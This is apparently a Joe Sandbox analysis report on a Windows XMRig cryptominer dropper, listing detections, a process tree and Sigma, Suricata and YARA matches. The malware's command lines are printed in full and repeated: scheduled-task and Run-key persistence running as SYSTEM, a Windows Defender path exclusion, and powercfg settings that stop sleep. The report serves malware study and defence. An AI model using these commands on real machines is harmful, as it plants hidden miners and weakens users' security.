Edit tour

Windows Analysis Report
ahlntQUj2t.exe

Overview

General Information

Sample name:	ahlntQUj2t.exe renamed because original name is a hash value
Original sample name:	75a1567b2fdb22e1e074aed9cd5e759013ea59bf7b1ef8d7f32c524f32b680c9.exe
Analysis ID:	1548723
MD5:	934e9a3e294fa41c527fbd6dc867ddec
SHA1:	57edab4c313a7b3bf083a0c3364195b0491e00ba
SHA256:	75a1567b2fdb22e1e074aed9cd5e759013ea59bf7b1ef8d7f32c524f32b680c9
Tags:	exeuser-Chainskilabs
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

DNS related to crypt mining pools

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Found strings related to Crypto-Mining

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Sample is not signed and drops a device driver

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses powercfg.exe to modify the power settings

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Contains functionality to detect virtual machines (STR)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the program root directory (C:\Program Files)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

ahlntQUj2t.exe (PID: 7704 cmdline: "C:\Users\user\Desktop\ahlntQUj2t.exe" MD5: 934E9A3E294FA41C527FBD6DC867DDEC)

powershell.exe (PID: 7988 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GQFENPEL' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GQFENPEL" /t REG_SZ /f /d 'C:\Program Files\xjfgcnhmcvxy.exe' } MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7716 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7972 cmdline: C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 8040 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 8116 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 8148 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 8168 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powershell.exe (PID: 7264 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ydxtfs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GQFENPEL" } Else { "C:\Program Files\xjfgcnhmcvxy.exe" } MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6752 cmdline: "C:\Windows\system32\schtasks.exe" /run /tn GQFENPEL MD5: 76CD6626DD8834BD4A42E6A565104DC2)

xjfgcnhmcvxy.exe (PID: 6384 cmdline: "C:\Program Files\xjfgcnhmcvxy.exe" MD5: 934E9A3E294FA41C527FBD6DC867DDEC)

conhost.exe (PID: 2384 cmdline: C:\Windows\System32\conhost.exe xcgkmjxjdowq MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 8180 cmdline: C:\Windows\System32\conhost.exe gzssianthtxzdggz 6E3sjfZq2rJQaxvLPmXgsBL6xjjYguHWtOpZ+stIdvug8Rp3hiani4Twfqfj5pfOQ4C5/lIR+WrKX/39lFBfrYgVA5xlELaQrgfEYI/1+l+sm6d1wY+jp8lQ+gyInBZtRryf27JkgwVg8+gc8zt/+Qw/FqR21gXGsiWp5M1/PaUO8B8L/yFa9vhQOOMQzU9osOZwr+lVWCnvU0S6ajO3l3PA+IO3tZ+KIHzg9oJDykmRT9FPoLVpg3f2E+S/d4wYAneGaTBaw9u+h7ySSQW4uLa2RdrQlsNvaothGQq4OkU9/7weTT4gwdlFYcJqzkf6CrPgHCU2Z2X/1LqnGA0Z/oGM3RQZ3KFMH6aI6u72Mx/Roo9xz5ogo8pI2aMP1z57eBCyYbXyiGT0rCG540iwNf53KRDw5r+qu9TX7DnABrUnuCbtJtyaOErrfhHdH0mzc3oHhwbzk+xXdFEnj5LezfN80ibSpckaUWKu/Nc8n5n3862TFcZoV3+5pG7wnvACa9eswJk6IY7ANEpRFN9HJzRPurRT3aTK7NgnMwc4gmU= MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7112 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1408 cmdline: C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7796 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 7164 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 2196 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 7824 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powershell.exe (PID: 7460 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GQFENPEL' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GQFENPEL" /t REG_SZ /f /d 'C:\Program Files\xjfgcnhmcvxy.exe' } MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8136 cmdline: C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1888 cmdline: C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 4268 cmdline: wmic PATH Win32_VideoController GET Name, VideoProcessor MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\Temp\tkfgvduf.tmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000022.00000002.2615840139.000002B9B4441000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000022.00000002.2615840139.000002B9B4427000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000022.00000002.2615840139.000002B9B44C4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000022.00000002.2615840139.000002B9B43E9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: conhost.exe PID: 8180	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
16.2.xjfgcnhmcvxy.exe.7ff72348c320.2.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
16.2.xjfgcnhmcvxy.exe.7ff72348fc00.3.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
16.2.xjfgcnhmcvxy.exe.7ff72347d500.1.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
16.2.xjfgcnhmcvxy.exe.7ff723470000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
16.2.xjfgcnhmcvxy.exe.7ff72348fc00.3.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GQFENPEL' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GQFENPEL" /t REG_SZ /f /d 'C:\Program Files\xjfgcnhmcvxy.exe' }, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GQFENPEL' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GQFENPEL" /t REG_SZ /f /d 'C:\Program Files\xjfgcnhmcvxy.exe' }, CommandLine|base64offset|contains: [, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\ahlntQUj2t.exe", ParentImage: C:\Users\user\Desktop\ahlntQUj2t.exe, ParentProcessId: 7704, ParentProcessName: ahlntQUj2t.exe, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTr

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\schtasks.exe" /run /tn GQFENPEL, CommandLine: "C:\Windows\system32\schtasks.exe" /run /tn GQFENPEL, CommandLine|base64offset|contains: , Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ydxtfs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GQFENPEL" } Else { "C:\Program Files\xjfgcnhmcvxy.exe" }, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7264, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\schtasks.exe" /run /tn GQFENPEL, ProcessId: 6752, ProcessName: schtasks.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, ProcessId: 7716, ProcessName: powershell.exe

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GQFENPEL' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GQFENPEL" /t REG_SZ /f /d 'C:\Program Files\xjfgcnhmcvxy.exe' }, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GQFENPEL' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GQFENPEL" /t REG_SZ /f /d 'C:\Program Files\xjfgcnhmcvxy.exe' }, CommandLine|base64offset|contains: [, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\ahlntQUj2t.exe", ParentImage: C:\Users\user\Desktop\ahlntQUj2t.exe, ParentProcessId: 7704, ParentProcessName: ahlntQUj2t.exe, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTr

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GQFENPEL' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GQFENPEL" /t REG_SZ /f /d 'C:\Program Files\xjfgcnhmcvxy.exe' }, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GQFENPEL' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GQFENPEL" /t REG_SZ /f /d 'C:\Program Files\xjfgcnhmcvxy.exe' }, CommandLine|base64offset|contains: [, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\ahlntQUj2t.exe", ParentImage: C:\Users\user\Desktop\ahlntQUj2t.exe, ParentProcessId: 7704, ParentProcessName: ahlntQUj2t.exe, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTr

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, ProcessId: 7716, ProcessName: powershell.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-04T19:39:35.160404+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.7	49782	TCP
2024-11-04T19:40:15.342501+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.7	49924	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ahlntQUj2t.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Windows\Temp\tkfgvduf.tmp	Avira: detection malicious, Label: HEUR/AGEN.1313087
Source: C:\Program Files\xjfgcnhmcvxy.exe	Avira: detection malicious, Label: TR/Crypt.EPACK.Gen2

Multi AV Scanner detection for dropped file

Source: C:\Program Files\xjfgcnhmcvxy.exe	ReversingLabs: Detection: 50%
Source: C:\Windows\Temp\tkfgvduf.tmp	ReversingLabs: Detection: 62%

Multi AV Scanner detection for submitted file

Source: ahlntQUj2t.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Windows\Temp\tkfgvduf.tmp	Joe Sandbox ML: detected
Source: C:\Program Files\xjfgcnhmcvxy.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: ahlntQUj2t.exe

Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 16.2.xjfgcnhmcvxy.exe.7ff72348c320.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.xjfgcnhmcvxy.exe.7ff72348fc00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.xjfgcnhmcvxy.exe.7ff72347d500.1.raw.unpack, type: UNPACKEDPE
